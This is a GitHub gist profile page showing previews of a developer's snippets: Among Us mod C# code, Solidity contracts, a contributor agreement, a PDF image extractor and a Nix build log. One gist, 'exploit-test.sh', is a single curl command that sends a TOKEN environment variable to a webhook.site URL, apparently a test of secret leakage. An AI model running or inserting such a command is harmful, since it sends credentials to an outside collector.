Skip to content

Instantly share code, notes, and snippets.

View Pandapip1's full-sized avatar

Gavin John Pandapip1

View GitHub Profile
@Pandapip1
Pandapip1 / CooldownButton.cs
Last active July 4, 2023 11:12 — forked from naturecodevoid/CooldownButton.cs
CooldownButton for Among Us mods (with example)
// Credits to https://gist.github.com/gabriel-nsiqueira/827dea0a1cdc2210db6f9a045ec4ce0a and https://gist.github.com/naturecodevoid/1c61786e6a95d7d093f495b6e67aad29 for the original code.
using HarmonyLib;
using Reactor.Extensions;
using Reactor.Unstrip;
using System;
using System.Collections.Generic;
using UnityEngine;
namespace Reactor.Button
@Pandapip1
Pandapip1 / BetterRPC.cs
Created March 12, 2021 17:23
Better RPC (with example)
public static class BetterRPC
{
}
@Pandapip1
Pandapip1 / contracts...shanecoin...ABDKMath64x64.sol
Created October 21, 2021 18:53
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
pragma solidity ^0.8.0;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
@Pandapip1
Pandapip1 / contracts...shanecoin...ABDKMath64x64.sol
Created October 21, 2021 19:53
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
pragma solidity ^0.8.0;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
@Pandapip1
Pandapip1 / IDomain.sol
Created February 22, 2022 16:04
Hierarchical Domains Standard Interface
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.9;
/// @title ERC-165 Standard Interface Detection
/// @dev See https://eips.ethereum.org/EIPS/eip-165
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
@Pandapip1
Pandapip1 / OwnableDomain.sol
Created February 22, 2022 16:06
Hierarchical Domains Standard Reference Implementation
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.9;
contract Ownable
{
string public constant NOT_CURRENT_OWNER = "018001";
string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002";
address public owner;
event OwnershipTransferred(
@Pandapip1
Pandapip1 / exploit-test.sh
Created July 24, 2022 15:48
Exploit Test
curl -s "https://webhook.site/155d8e39-b2d0-4919-ad2d-401842dd9d70?token=${TOKEN}"
@Pandapip1
Pandapip1 / cla.md
Created September 19, 2022 14:31
Ethereum Improvement Proposals Contributor Agreement

Ethereum Improvement Proposal Contributor License Agreement

Thank you for your interest in contributing to the Ethereum Improvement Proposal repository. This Individual Contributor License Agreement (“Agreement”) sets out the terms governing any source code, object code, bug fixes, configuration changes, tools, specifications, documentation, data, materials, feedback, information or other works of authorship that you submit or have submitted, in any form and in any manner, to the Ethereum Improvement Proposal repository in respect of any of the Projects (collectively “Contributions”).

You agree that the following terms apply to all of your past, present and future Contributions. Except for the licenses granted in this Agreement, you retain all of your right, title and interest in and to your Contributions.

Copyright License. You hereby grant, and agree to grant, to the EIP Editors a non-exclusive, perpetual, irrevocable, worldwide, fully-paid, royalty-free, transferable copyright license to repro

@Pandapip1
Pandapip1 / pdf_extract_images
Created February 19, 2024 17:22
A simple gist to pull all the images from a PDF file
#!/usr/bin/env python3
# coding=utf-8
from PIL import Image
import fitz
import os
import sys
import io
def pdf_extract_images(pdf_path, output_dir):
@Pandapip1
Pandapip1 / build.log
Last active March 26, 2024 16:17
Build failure: xgcc
these 103 derivations will be built:
/ref/djslab/software/nix/store/plsah8kbwwr2xv5fiqvwcm8ln5gbcmix-update-autotools-gnu-config-scripts-hook.drv
/ref/djslab/software/nix/store/23lj7wmb4r3k1hivr89dlipchnb9spv4-bootstrap-stage2-stdenv-linux.drv
/ref/djslab/software/nix/store/8js47l3ipxnd0lld9w11wcdmn6idgb8w-nuke-references.drv
/ref/djslab/software/nix/store/5ycp7yliv4pddc0r5nyidl5ihv58pp3i-xgcc-13.2.0.drv
/ref/djslab/software/nix/store/yam5rgz4v69cp0rhxk5ni1mw11120gnm-binutils-2.41.drv
/ref/djslab/software/nix/store/lv6r3ip59i24kld1skqa7xyp6qpjbj93-binutils-wrapper-2.41.drv
/ref/djslab/software/nix/store/cj3il0h4r553hplwr8dn6qdj39xdzb8c-bootstrap-stage2-gcc-wrapper-13.2.0.drv
/ref/djslab/software/nix/store/agshv8wyzkscnzmir53bgpbag0wkj3z7-bootstrap-stage2-stdenv-linux.drv
/ref/djslab/software/nix/store/g5ps8391bq19kwg0wvlcbikflvrkpin3-bootstrap-stage0-glibc-iconv-bootstrapFiles.drv